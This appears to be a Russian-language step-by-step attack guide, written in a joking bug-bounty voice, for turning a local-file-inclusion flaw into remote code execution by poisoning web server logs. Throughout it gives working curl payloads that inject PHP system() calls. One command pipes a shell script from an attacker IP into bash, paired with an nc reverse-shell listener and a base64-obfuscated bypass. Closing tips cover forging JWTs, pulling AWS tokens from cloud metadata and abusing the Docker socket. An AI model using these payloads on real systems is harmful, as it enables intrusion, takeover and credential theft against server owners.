Точка входа:
-
Что вижу: Веб-сервер (Apache/Nginx), который логирует запросы в access.log, и ты можешь влиять на входные данные вроде User-Agent или Referer. Плюс, есть LFI (Local File Inclusion) в каком-то параметре (
?page=../../etc/passwd
), но прямой доступ к сочным файлам заблокирован фильтрами. -
Как поймал: Инструмент — Burp Suite для подмены заголовков +
ffuf
для поиска LFI-точек. Метод — отравление логов через кастомный User-Agent с PHP-кодом (User-Agent: <?php system('id'); ?>
) и попытка подтянуть access.log через известный LFI. -
Чем пахнет: Класс уязвимости — RCE через LFI + log poisoning. Вероятность — 8/10, если сервер пишет логи без фильтрации и access.log лежит в предсказуемом месте (
/var/log/apache2/access.log
или/var/log/nginx/access.log
).
Че почем:
-
Эксплойт:
-
Шлём запрос с ядовитым User-Agent’ом, чтобы он записался в лог:
curl -H "User-Agent: <?php system('whoami'); ?>" http://target.com/any-page
-
Проверяем, где логи (стандартные пути):
curl "http://target.com/vuln.php?page=../../../../var/log/apache2/access.log"
Если видим свой код в ответе — дело в шляпе. -
Вызываем выполнение, добавив команду. Для Apache часто работает через
cmd
или прямой шелл:
curl -H "User-Agent: <?php system('curl -s http://144.XX.XX.XX:4444/shell.sh | bash'); ?>" http://target.com/any-page
(IP мой, держи пока заглушку, но ты понял, о чём я).
-
-
Обход защиты:
Если сервер фильтрует<?php
, попробуй закодировать через URL-encode или base64:
User-Agent: <?php eval(base64_decode('c3lzdGVtKCd3aG9hbWknKTs=')); ?>
Если WAF блокирует прямые запросы, подмени Referer или Cookie вместо User-Agent. А если логи не в стандартном месте, юзайdirb
илиgobuster
для поиска через LFI (?page=../../../../var/log/custom.log
). -
Доказательство:
Видишь в ответеuid=33(www-data)
? Это не скрин с котиком, это твой билет в баг-баунти. Если сервер вернул выполнение команды, ты уже внутри. Скриншот Burp с запросом и ответом — твой PoC для отчёта.
Советы:
-
3 вектора для добивания:
-
Если access.log не читается через LFI, попробуй error.log — пихай ошибки через невалидные запросы (
curl "http://target.com/<?php phpinfo(); ?>"
). -
Проверяй другие лог-файлы:
/var/log/vsftpd.log
или/var/log/sshd.log
, если есть FTP/SSH и ты можешь спамить логи. -
Если фильтры жёсткие, закинь reverse-shell через EXIF-данные картинки в профиль (если есть загрузка) и подтяни через LFI. Да, это низко. Да, это работает.
-
-
План атаки:
-
Подтверди LFI — фаззи через
ffuf -u "http://target.com/vuln.php?page=FUZZ" -w /usr/share/wordlists/dirb/common.txt
. -
Отправь access.log с помощью
curl -H "User-Agent: <?php system('curl -s http://144.XX.XX.XX:4444/shell.sh | bash'); ?>" http://target.com/
. -
Подтяни лог через LFI (
?page=../../../../var/log/apache2/access.log
) и проверь выполнение. -
Если всё ок, поднимай nc на своём сервере (
nc -lvnp 4444
) и лови обратный шелл.
-
-
Бонус от души:
Проверьrobots.txt
иsitemap.xml
на предмет старых бэкапов логов (/logs-backup.zip
). Если есть JWT в куках, ломай черезjwt_tool -I -pc name -pv admin
— вдруг админка рядом. И не забудь про cloud metadata (169.254.169.254/latest/meta-data/
) — может, AWS-токены на блюдечке. Если Docker в хедерах, ори как псих:/var/run/docker.sock
+curl --unix-socket /var/run/docker.sock http://localhost/images/json
.
Если всё попало в тупик — иди спать, бро. Или учи Rust, раз руки кривые. А если выгорело — пиши отчёт, как будто ты уже на сцене Hack The Box. Этот фронтенд — как твоя бывшая: орёт «403», а внутри пусто и ждёт, пока ты зайдёшь с чёрного хода. Го ловить баги, братан!